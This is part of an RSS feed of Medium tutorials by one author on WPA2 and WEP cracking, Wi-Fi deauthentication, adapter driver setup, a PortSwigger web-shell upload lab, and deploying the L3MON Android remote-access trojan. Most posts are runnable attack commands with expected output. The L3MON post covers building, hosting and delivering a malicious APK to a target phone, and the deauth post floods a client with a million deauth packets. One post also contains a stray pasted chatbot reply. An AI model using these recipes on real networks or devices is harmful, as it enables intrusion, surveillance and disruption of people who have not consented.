            <content:encoded><![CDATA[<blockquote>⚠️ <strong>Disclaimer:</strong> This post is only for educational and awareness purposes. Unauthorized access to networks is illegal. Use this guide only on your own router or lab setup. The purpose is to understand how WPA2 handshakes work and why strong passwords are essential.</blockquote><p>When testing WPA2 security, the key difference from WEP is that no useful data is inside the packets. Instead, a <strong>4-way handshake</strong> between the client and the router is captured and then brute-forced with a password list.</p><h3>Step 1: Put WiFi Card into Monitor Mode</h3><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>ifconfig wlan0 mode monitor<br>ifconfig wlan0 up<br>iwconfig</pre><p><strong>Expected Output:</strong></p><ul><li>ifconfig wlan0 down → no output, just disables the card.</li><li>airmon-ng check kill → shows processes like wpa_supplicant or NetworkManager being killed.</li><li>iwconfig → shows Mode:Monitor, confirming success.</li></ul><p><strong>Alternative Command:</strong></p><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>airmon-ng start wlan0<br>iwconfig</pre><p><strong>Expected Output:</strong></p><ul><li>airmon-ng start wlan0 → creates a wlan0mon interface.</li><li>iwconfig → shows wlan0mon Mode:Monitor</li></ul><h3>Step 2: Scan for Networks</h3><pre>airodump-ng wlan0</pre><p><strong>Expected Output:</strong><br> A table with:</p><ul><li><strong>BSSID</strong> → MAC address of the access point.</li><li><strong>PWR</strong> → Signal strength.</li><li><strong>ENC</strong> → Encryption type (look for WPA2).</li><li><strong>CH</strong> → Channel.</li><li><strong>ESSID</strong> → Network name.</li></ul><h3>Step 3: Target a Specific WPA2 Network</h3><pre>airodump-ng --bssid &lt;bssid&gt; --channel 5 --write handshake wlan0</pre><p><strong>Expected Output:</strong></p><ul><li>Focused capture on the chosen network.</li><li>Live updates of #Data increasing as packets are collected.</li><li>A file handshake-01.cap generated in current directory.</li><li>Message: WPA handshake: &lt;bssid&gt; when handshake is captured.</li></ul><h3>Step 4: Force a Device to Reconnect</h3><pre>aireplay-ng --deauth 4 -a &lt;bssid&gt; -c &lt;client mac&gt; wlan0</pre><p><strong>Expected Output:</strong></p><ul><li>Sending DeAuth to station -- STMAC: [xx:xx:xx:xx:xx:xx]</li><li>Target device disconnects and reconnects, triggering handshake capture.</li></ul><h3>Step 5: Create a Wordlist</h3><pre>crunch 8 8 haianu1 -o pass.txt</pre><p><strong>Expected Output:</strong></p><ul><li>Crunch will now generate the following amount of data: 208,827,064 bytes.</li><li>A new file pass.txt created containing generated passwords.</li></ul><h3>Step 6: Crack the Captured Handshake</h3><pre>aircrack-ng handshake-01.cap -w pass.txt</pre><p><strong>Expected Output:</strong></p><ul><li>Opening handshake-01.cap</li><li>Read X packets</li><li>Trying key: ...</li><li>KEY FOUND! [ mypassword123 ]</li></ul><h3>Step 7: Online Handshake Cracking (Optional)</h3><p>If your system has low performance, brute-forcing can take hours or days. In that case, handshake files can be uploaded to <strong>online handshake cracking services</strong> that use powerful servers to test wordlists faster.</p><p>This quick demo shows why <strong>WPA2 with weak passwords</strong> is vulnerable to brute-force attacks. Always choose a long, complex password or upgrade to <strong>WPA3</strong> for stronger protection.</p><blockquote>⚠️ <strong>Disclaimer:</strong><br> This article is intended strictly for educational and awareness purposes. Do not attempt these techniques on networks you do not own or have explicit permission to test.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e3a22f7ca81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking WEP WiFi: A Look Into Outdated Security]]></title>
            <link>https://medium.com/@muhammednawafmv/cracking-wep-wifi-a-look-into-outdated-security-70a53011bac6?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/70a53011bac6</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 15:53:12 GMT</pubDate>
            <atom:updated>2025-08-22T15:53:12.041Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>⚠️ Disclaimer: This post is only for educational and awareness purposes. Unauthorized access to networks is illegal. Use this guide only on your own router or lab setup to understand why WEP should never be used today.</blockquote><h3>Step 1: Put WiFi Card into Monitor Mode</h3><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>ifconfig wlan0 mode monitor<br>ifconfig wlan0 up<br>iwconfig</pre><p><strong>Expected Output:</strong></p><ul><li>ifconfig wlan0 down → no output (just disables the card).</li><li>airmon-ng check kill → shows processes like <em>wpa_supplicant</em> or <em>NetworkManager</em> being killed.</li><li>iwconfig → shows wlan0 Mode:Monitor confirming success.</li></ul><p><strong>Alternative Command:</strong></p><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>airmon-ng start wlan0<br>iwconfig</pre><p><strong>Expected Output:</strong></p><ul><li>airmon-ng start wlan0 → creates wlan0mon interface.</li><li>iwconfig → shows wlan0mon Mode:Monitor.</li></ul><h3>Step 2: Scan for Networks</h3><pre>airodump-ng wlan0</pre><p><strong>Expected Output:</strong><br> A table with:</p><ul><li>BSSID → MAC address of the access point.</li><li>PWR → Signal strength.</li><li>ENC → Encryption type (look for <strong>WEP</strong>).</li><li>CH → Channel.</li><li>ESSID → Network name.</li></ul><h3>Step 3: Target a Specific WEP Network</h3><pre>airodump-ng --bssid &lt;bssid&gt; --channel 5 --write basic wlan0</pre><p><strong>Expected Output:</strong></p><ul><li>Focused capture on the chosen network.</li><li>Live updates of <strong>#Data</strong> increasing as packets are collected.</li><li>File basic-01.cap generated in current directory.</li></ul><h3>Step 4: Start Cracking Captured Packets</h3><pre>aircrack-ng basic-01.cap</pre><p><strong>Expected Output:</strong></p><pre>Opening basic-01.cap<br>Read X packets.<br>Trying WEP key: ...<br>KEY FOUND! [ 12:34:56 ]</pre><h3>Step 5: Clean the Key for Use</h3><p>The recovered WEP key might be shown as 12:34:56.<br> Remove the colons:</p><pre>123456</pre><p>Now this becomes the actual WiFi password.</p><p>This quick demo proves how outdated <strong>WEP encryption</strong> is. A few commands and some captured packets are enough to reveal the password. Always switch your WiFi security to <strong>WPA2 or WPA3</strong> for real protection.</p><blockquote>⚠️ <strong>Disclaimer</strong>:<br> This article is intended <strong>strictly for educational and awareness purposes</strong>. <strong>Do not attempt these techniques on networks you do not own or have explicit permission to test.</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70a53011bac6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Wi-Fi Deauth Attacks Using Aircrack-ng Tools]]></title>
            <link>https://medium.com/@muhammednawafmv/mastering-wi-fi-deauth-attacks-using-aircrack-ng-tools-7892d18db6cb?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7892d18db6cb</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 02:51:17 GMT</pubDate>
            <atom:updated>2025-08-22T02:51:17.199Z</atom:updated>
            <content:encoded><![CDATA[<p>Wi-Fi deauthentication attacks are often used by penetration testers to test the strength of wireless networks. The idea is simple: disconnect devices from a network by sending forged deauthentication packets. This post walks through the process from enabling monitor mode to running the actual attack.</p><blockquote>⚠️ <strong>Disclaimer</strong>:</blockquote><blockquote>The techniques discussed, including Wi-Fi deauthentication. Unauthorized use of these methods on networks without consent is illegal and may lead to severe legal consequences. Always practice responsible cybersecurity.</blockquote><h3>Setting up the Adapter</h3><p>To begin, the wireless adapter must be switched into monitor mode.</p><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>ifconfig wlan0 mode monitor<br>ifconfig wlan0 up<br>iwconfig</pre><p><strong>What happens here:</strong></p><ul><li>The interface wlan0 is taken down.</li><li>Interfering processes are killed.</li><li>Mode is switched from managed to monitor.</li><li>The interface is brought back up.</li><li>Finally, iwconfig confirms the adapter is in <strong>Monitor Mode</strong>. Expected output shows something like:</li></ul><pre>wlan0   IEEE 802.11  Mode:Monitor  Frequency:2.437 GHz  Tx-Power=20 dBm</pre><p>Alternatively, monitor mode can also be enabled with:</p><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>airmon-ng start wlan0<br>iwconfig</pre><p>Expected output will display a new interface name such as wlan0mon with Mode:Monitor.</p><h3>Sniffing Packets</h3><p>With monitor mode enabled, nearby Wi-Fi networks can be scanned.</p><pre>airodump-ng wlan0</pre><p>This shows a list of available Wi-Fi networks with details such as <strong>BSSID (MAC address), Channel, and Encryption type</strong>. Output looks like:</p><pre>BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER  AUTH ESSID<br>AA:BB:CC:DD:EE:FF  -40  100        500    2     3   54e  WPA2  CCMP    PSK  MyWiFi</pre><h3>Focusing on a Target</h3><p>Once a target BSSID is chosen, capture packets from that specific network:</p><pre>airodump-ng --bssid &lt;bssid&gt; --channel 3 --write test wlan0</pre><p>This saves the captured packets into a file named test.cap. Expected output indicates <strong>writing to test.cap</strong> and shows connected stations.</p><h3>Analyzing in Wireshark</h3><p>Open the capture file for detailed packet inspection:</p><pre>wireshark</pre><p>From the Wireshark interface:</p><ul><li>Go to <strong>File → Open → test.cap</strong></li><li>The captured frames appear, allowing you to copy the <strong>client MAC address</strong> of the target device.</li></ul><h3>Verifying the Client</h3><p>With the client MAC noted, run the scan again to verify its presence:</p><pre>airodump-ng --bssid &lt;bssid&gt; --channel 3 wlan0</pre><p>The output lists <strong>Stations</strong>. The client MAC copied from Wireshark should appear here, confirming the right target.</p><pre>BSSID              STATION            PWR   Rate    Lost  Frames  Probe<br>AA:BB:CC:DD:EE:FF  11:22:33:44:55:66  -30   54e-54e   0     200</pre><h3>Launching the Deauthentication Attack</h3><p>Now, send deauthentication frames to kick the client off the network:</p><pre>aireplay-ng --deauth 1000000 -a &lt;bssid&gt; -c &lt;client mac&gt; wlan0</pre><ul><li>--deauth 1000000 sends continuous deauth packets.</li><li>-a &lt;bssid&gt; specifies the access point.</li><li>-c &lt;client mac&gt; points to the client device.</li></ul><p>Expected output continuously displays lines like:</p><pre>Sending DeAuth to station 11:22:33:44:55:66 [ACK]<br>Sending DeAuth to station 11:22:33:44:55:66 [ACK]<br>...</pre><p>The target device gets disconnected repeatedly from the Wi-Fi.</p><blockquote>⚠️ <strong>Disclaimer</strong>: Unauthorized use of these techniques on networks you don’t own is illegal. Always conduct testing responsibly.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7892d18db6cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enable Monitor Mode in TP-Link TL-WN722N (Kali Linux Guide)]]></title>
            <link>https://medium.com/@muhammednawafmv/enable-monitor-mode-in-tp-link-tl-wn722n-kali-linux-guide-adf6d14cea9d?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/adf6d14cea9d</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 02:51:34 GMT</pubDate>
            <atom:updated>2025-08-20T02:51:34.003Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’re learning Wi-Fi security testing with Kali Linux, one of the most common USB Wi-Fi adapters you’ll come across is the <strong>TP-Link TL-WN722N</strong>.<br> This adapter is popular because it supports <strong>monitor mode</strong> and <strong>packet injection</strong>, two essential features for penetration testing.</p><p>In this guide, we’ll go step-by-step on how to enable monitor mode in the TP-Link WN722N, configure it in VMware, and fix issues if it doesn’t work out of the box.</p><h3>Understanding Wi-Fi Modes</h3><p>By default, your <strong>laptop’s internal Wi-Fi card</strong> works in <strong>managed mode</strong>.</p><ul><li>In <strong>managed mode</strong>, the card only listens to traffic directed to its <strong>own MAC address</strong>.</li><li>In <strong>monitor mode</strong>, an external adapter (like TL-WN722N) can capture <strong>all wireless packets in the air</strong> — even those not meant for you.</li></ul><p>This makes monitor mode essential for penetration testing, auditing, and learning how wireless networks work.</p><h3>VMware &amp; Adapter Configuration</h3><p>If you’re running Kali Linux inside <strong>VMware</strong>, you need to ensure proper USB and network adapter settings before using the external adapter:</p><ol><li><strong>Enable USB Controller</strong> → Go to VMware Settings &gt; USB Controller and turn it on.</li><li><strong>Use Bridge Mode</strong> → Make sure the virtual machine’s network adapter is set to <strong>Bridge mode</strong>.</li><li><strong>Plug in the TL-WN722N</strong> → Attach it to the VM. Kali should now detect it and show Wi-Fi networks when scanning.</li></ol><h3>Step 1: Check Wireless Interfaces</h3><p>Run the following command to list your interfaces:</p><pre>iwconfig</pre><ul><li>iwconfig → shows only <strong>wireless interfaces</strong>.</li><li>ifconfig → shows <strong>all network interfaces</strong> (wired + wireless).</li></ul><p>Your adapter should appear as <strong>wlan0</strong> (or wlan1 if you already have an internal Wi-Fi card).</p><h3>Step 2: Enable Monitor Mode</h3><p>Try the simple commands first:</p><h3>Method 1:</h3><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>ifconfig wlan0 mode monitor<br>ifconfig wlan0 up<br>iwconfig</pre><h3>Method 2:</h3><pre>ifconfig wlan0 down<br>airmon-ng check kill<br>airmon-ng start wlan0<br>iwconfig</pre><p>If everything worked, iwconfig will show:</p><pre>Mode: Monitor</pre><h3>Step 3: If Monitor Mode Fails…</h3><p>Sometimes the TL-WN722N won’t enter monitor mode due to <strong>driver issues</strong>.<br> In that case, follow these steps to install the proper driver:</p><h3>Install Dependencies</h3><pre>sudo apt update<br>sudo apt upgrade   # If errors occur, run again<br>sudo apt install bc<br>sudo apt-get install build-essential<br>sudo apt-get install libelf-dev<br>sudo apt-get install dkms</pre><p>Install Linux headers (choose the one that matches your kernel):</p><pre>sudo apt-get install linux-headers-`uname -r`</pre><p>or</p><pre>sudo apt-get install linux-headers-5.10.0-kali6-amd64</pre><h3>Install Correct Driver</h3><pre>sudo rmmod r8188eu.ko<br>git clone https://github.com/aircrack-ng/rtl8188eus<br>cd rtl8188eus<br>sudo -i<br>echo &quot;blacklist r8188eu&quot; &gt; &quot;/etc/modprobe.d/realtek.conf&quot;<br>exit<br>sudo reboot</pre><p>After reboot:</p><pre>cd rtl8188eus<br>sudo make<br>sudo make install<br>sudo modprobe 8188eu</pre><h3>Step 4: Enable Monitor Mode &amp; Test Injection</h3><p>Once the driver is installed, enable monitor mode again:</p><pre>sudo ifconfig wlan0 down<br>sudo airmon-ng check kill<br>sudo iwconfig wlan0 mode monitor<br>sudo ifconfig wlan0 up<br>iwconfig</pre><p>Finally, test packet injection:</p><pre>sudo aireplay-ng --test wlan0</pre><p>If successful, your adapter is now fully configured for <strong>monitor mode</strong> and <strong>packet injection</strong> .</p><h3>Summary</h3><ul><li><strong>Monitor Mode</strong> is essential for capturing handshakes and auditing Wi-Fi security.</li><li>Not all TL-WN722N versions support it (only <strong>v1 with Atheros AR9271 chipset</strong> works best).</li><li>If you have <strong>v2 or v3 (Realtek chipsets)</strong>, you’ll often need the driver patch described above.</li></ul><p>Now your adapter is ready for Wi-Fi pentesting labs, packet sniffing, or learning wireless security with tools like aircrack-ng, airodump-ng, and reaver.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=adf6d14cea9d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Unrestricted File Uploads — PortSwigger Lab Walkthrough]]></title>
            <link>https://medium.com/@muhammednawafmv/exploiting-unrestricted-file-uploads-portswigger-lab-walkthrough-bc6008ddd78c?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc6008ddd78c</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Sat, 16 Aug 2025 11:40:13 GMT</pubDate>
            <atom:updated>2025-08-16T11:41:04.441Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting Unrestricted File Uploads PortSwigger Lab Walkthrough</h3><blockquote>Lab : Remote code execution via web shell upload</blockquote><p>This PortSwigger lab presents a web application with an <strong>unrestricted file upload vulnerability</strong>. The challenge is to upload a malicious PHP script (a basic web shell), use it to read a sensitive file on the server, and extract the contents.</p><blockquote>⚠️ Disclaimer</blockquote><blockquote><strong><em>PortSwigger Web Security Academy</em></strong><em>, which is specifically designed for learning web application security. Never attempt to exploit vulnerabilities on systems you do not own or have explicit permission to test.<br> </em><strong><em>Unauthorized hacking is illegal</em></strong><em> and punishable by law.</em></blockquote><pre>/home/carlos/secret</pre><p>This is a common real-world scenario where file upload functionality is improperly handled, leading to <strong>remote code execution (RCE)</strong> or <strong>information disclosure</strong>.</p><h3>Lab Setup</h3><p><strong>Lab URL:</strong> <em>(available through PortSwigger Web Security Academy)</em><br> <strong>Credentials:</strong></p><pre>Username: wiener<br>Password: peter</pre><p>After logging in, I landed on an account page that had an <strong>avatar upload</strong> feature. This was the entry point for the vulnerability.</p><h3>Step 1: Analyzing the Upload Mechanism</h3><p>To understand how uploads are handled, I uploaded a harmless image file — a .png. After submission, the avatar preview was updated on my profile.</p><p>Next, using <strong>Burp Suite</strong>, I monitored the traffic:</p><ul><li>The upload request was a standard multipart/form-data POST.</li><li>The image was then accessed via a GET request:</li></ul><pre>GET /files/avatars/test.png HTTP/1.1</pre><p>This told me two important things:</p><ul><li>The uploaded files are stored in the /files/avatars/ directory.</li><li>Files are directly accessible over HTTP — <strong>and possibly executed if they contain server-side code</strong>.</li></ul><p>No server-side validation was observed on the filename or file content.</p><h3>Step 2: Crafting the PHP Payload</h3><p>Now that I confirmed the server saves and serves uploaded files as-is, I prepared a malicious PHP payload to read Carlos’s secret file.</p><h3>Payload (exploit.php)</h3><pre>&lt;?php echo file_get_contents(&#39;/home/carlos/secret&#39;); ?&gt;</pre><p>This is a basic PHP script that reads the file and prints its contents to the web response.</p><h3>Step 3: Uploading the Web Shell</h3><p>I uploaded exploit.php via the avatar upload form, just like a normal image.</p><p>There was no rejection — the server accepted the file <strong>despite the </strong><strong>.php extension</strong>. The success message confirmed it was stored.</p><p>This confirmed that the server:</p><ul><li>Does not validate file extensions.</li><li>Does not restrict executable content in the upload folder.</li></ul><h3>Step 4: Executing the Payload</h3><p>Back in Burp Suite, I found the previous image request:</p><pre>GET /files/avatars/test.png</pre><p>I replaced the filename with my payload:</p><pre>GET /files/avatars/exploit.php</pre><p>Hit <strong>Send</strong> — and instantly got a response with the contents of /home/carlos/secret.</p><p><strong>The vulnerability was successfully exploited.</strong></p><h3>Step 5: Submit the Secret</h3><p>With the secret now in hand, I went back to the lab interface and pasted it into the submission box.</p><p><strong>Lab completed successfully.</strong></p><p>File upload functionality is essential in modern applications from profile pictures to document management systems but it’s also a common attack vector. This lab was a textbook example of how a simple oversight can lead to full server-side code execution or information disclosure.</p><p>Stay curious, stay secure.</p><p>Absolutely — that’s an essential reminder and best practice.</p><p>Here’s how you can include that <strong>responsible disclosure notice</strong> at the beginning or end of your blog post to clearly state your ethical stance:</p><blockquote>⚠️ Disclaimer</blockquote><blockquote><strong><em>PortSwigger Web Security Academy</em></strong><em>, which is specifically designed for learning web application security. Never attempt to exploit vulnerabilities on systems you do not own or have explicit permission to test.<br> </em><strong><em>Unauthorized hacking is illegal</em></strong><em> and punishable by law.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc6008ddd78c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Hacking Using Payload -L3MON]]></title>
            <link>https://medium.com/@muhammednawafmv/android-hacking-using-payload-l3mon-e5ce7ad6a6ee?source=rss-bba2e13caf4d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5ce7ad6a6ee</guid>
            <category><![CDATA[cybersecurity-101]]></category>
            <dc:creator><![CDATA[MUHAMMED NAWAF M V]]></dc:creator>
            <pubDate>Fri, 15 Aug 2025 07:10:44 GMT</pubDate>
            <atom:updated>2025-08-15T07:11:12.475Z</atom:updated>
            <content:encoded><![CDATA[<h3>Android Hacking Using Payload — L3MON</h3><blockquote>⚠️ <strong>Reminder</strong><br> Always perform security testing only in legal, isolated lab environments with devices you own or have explicit permission to test. Unauthorized hacking is a criminal offense.</blockquote><h3>Target</h3><p>Gain remote control of an Android device in a controlled lab environment using the <strong>L3MON</strong> payload management tool.</p><h3>Step 1 Clone the L3MON Repository</h3><pre>git clone https://github.com/efxtv/L3MON.git</pre><p>Pulls the L3MON source code from GitHub into the current directory.</p><p><strong>Expected Output:</strong></p><pre>Cloning into &#39;L3MON&#39;...<br>remote: Enumerating objects...<br>remote: Counting objects...<br>Receiving objects: 100% (XXXX/XXXX), done.</pre><h3>Step 2 Install Java 8 and Required Packages</h3><pre>sudo apt install wget curl git npm nano nodejs openjdk-8-jdk openjdk-8-jre<br>source &lt;(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh)</pre><p>Installs dependencies for building and running Java-based and Node.js-based applications, along with apktool for APK building.</p><p><strong>Expected Output:</strong></p><pre>Reading package lists... Done<br>Building dependency tree       <br>Reading state information... Done<br>The following NEW packages will be installed: ...</pre><h3>Step 3 Install npm</h3><pre>apt install npm</pre><p>Ensures Node.js’s package manager is installed.</p><p><strong>Expected Output:</strong></p><pre>npm is already the newest version (x.x.x-1).<br>0 upgraded, 0 newly installed, 0 to remove...</pre><h3>Step 4 Install Node Modules and pm2</h3><pre>npm install pm2 -g<br>npm install<br>npm audit fix<br>npm audit<br>npm audit fix --force</pre><p>Installs pm2 globally for process management, fetches project dependencies, and applies fixes for security vulnerabilities.</p><p><strong>Expected Output:</strong></p><pre>added XX packages from XX contributors<br>found 0 vulnerabilities</pre><h3>Step 5 Enter the L3MON Directory</h3><p>Navigate into the folder containing the cloned files.</p><pre>cd L3MON</pre><p><strong>Expected Output:</strong></p><pre>user@kali:~/L3MON$</pre><h3>Step 6 Start L3MON</h3><pre>npm install<br>pm2 start index.js<br>pm2 startup</pre><p>Installs any missing dependencies, starts the L3MON server, and configures pm2 to auto-start on boot.</p><p><strong>Expected Output:</strong></p><pre>[PM2] Starting index.js in fork_mode<br>[PM2] Done.</pre><h3>Step 7 Change Default Password</h3><pre>pm2 stop index<br>gedit maindb.json</pre><p>Opens maindb.json where credentials are stored. Replace the password with an <strong>MD5 hash</strong> generated from your chosen password.</p><p><strong>Expected Output:</strong></p><pre>File maindb.json opens in text editor.</pre><h3>Step 8 Restart L3MON</h3><pre>pm2 restart all</pre><p>Reloads the application with the updated password.</p><p><strong>Expected Output:</strong></p><pre>[PM2] Restarting app [index] id:0<br>[PM2] Done.</pre><h3>Step 9 Access L3MON Web Interface</h3><p>Go to:</p><pre>http://127.0.0.1:22533</pre><p>or your machine’s local IP:</p><pre>http://192.168.1.34:22533</pre><p><strong>Expected Output:</strong><br> Login page with L3MON dashboard.</p><h3>Step 10 Build the Payload</h3><ul><li>Login</li><li>Go to <strong>APK Builder</strong></li><li>Enter <strong>LHOST IP</strong></li><li>Navigate to /L3MON/assets/webpublic</li><li>Locate build.s.apk</li></ul><h3>Step 11 Host Payload on Apache Server</h3><pre>sudo cp build.s.apk /var/www/html</pre><p>Copies the malicious APK into the Apache web directory.</p><p><strong>Expected Output:</strong></p><pre>No output if successful.</pre><h3>Step 12 Start Apache</h3><pre>sudo systemctl start apache2</pre><p>Launches the Apache server to host the file.</p><p><strong>Expected Output:</strong></p><pre>No error message if successful.</pre><h3>Step 13 Deliver Payload to Target Device</h3><p>In the target phone browser:</p><pre>http://192.168.1.34/build.s.apk</pre><p><strong>Expected Output:</strong><br> File download prompt for build.s.apk.</p><h3>Step 14 Install and Grant Permissions</h3><p>Install the APK and give all requested permissions.</p><h3>Step 15 Reload Devices in L3MON</h3><p>Go to <strong>Devices → Manage</strong> to see the compromised device online.</p><p><strong>Expected Output:</strong><br> Device entry appears with controls for calls, messages, files, and more.</p><blockquote>⚠️ <strong>Reminder</strong><br> Always perform security testing only in legal, isolated lab environments with devices you own or have explicit permission to test. Unauthorized hacking is a criminal offense.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5ce7ad6a6ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>